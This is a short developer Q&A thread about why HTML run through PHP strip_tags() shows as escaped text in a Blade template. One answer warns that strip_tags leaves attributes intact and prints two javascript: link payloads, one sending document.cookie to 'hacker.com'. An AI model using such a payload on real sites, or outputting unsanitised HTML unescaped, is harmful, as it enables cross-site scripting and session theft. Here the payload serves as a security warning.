L
L
Ler Den2016-08-17 23:54:28
HTML
Ler Den, 2016-08-17 23:54:28

How to pass HTML to strip_tags()?

Hello. There is a variable that is parsed by the strip_tags() function and then sent to the HTML.

$marketDescOne      =  " your <a href='#'>link</a> lorem ipsum.";
$obj->marketDescOne     = strip_tags($marketDescOne,'<a>');

But when outputting to HTML
<p class="mobile-text-small">
            {{ $market->marketDescOne }}
          </p>

I get just text with tags 'a', but I need tags to fly into html as tags, not text. Is there any way? Can't think of

Answer the question

In order to leave comments, you need to log in

3 answer(s)
D
D', 2016-08-17
@givemoneybiatch

Use {!! $market->marketDescOne !!}
But that's not right at all and it's impossible.

M
Mikhail Osher, 2016-08-18
@miraage

<a href="javascript:alert('hellowz')">link</a>
<a href="javascript:new Image().src('http://hacker.com/hellowz?c=' + document.cookie)">link</a>

V
Vyacheslav Plisko, 2016-08-18
@AmdY

strip_tags does not filter tag attributes. better use htmlpurifier library

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question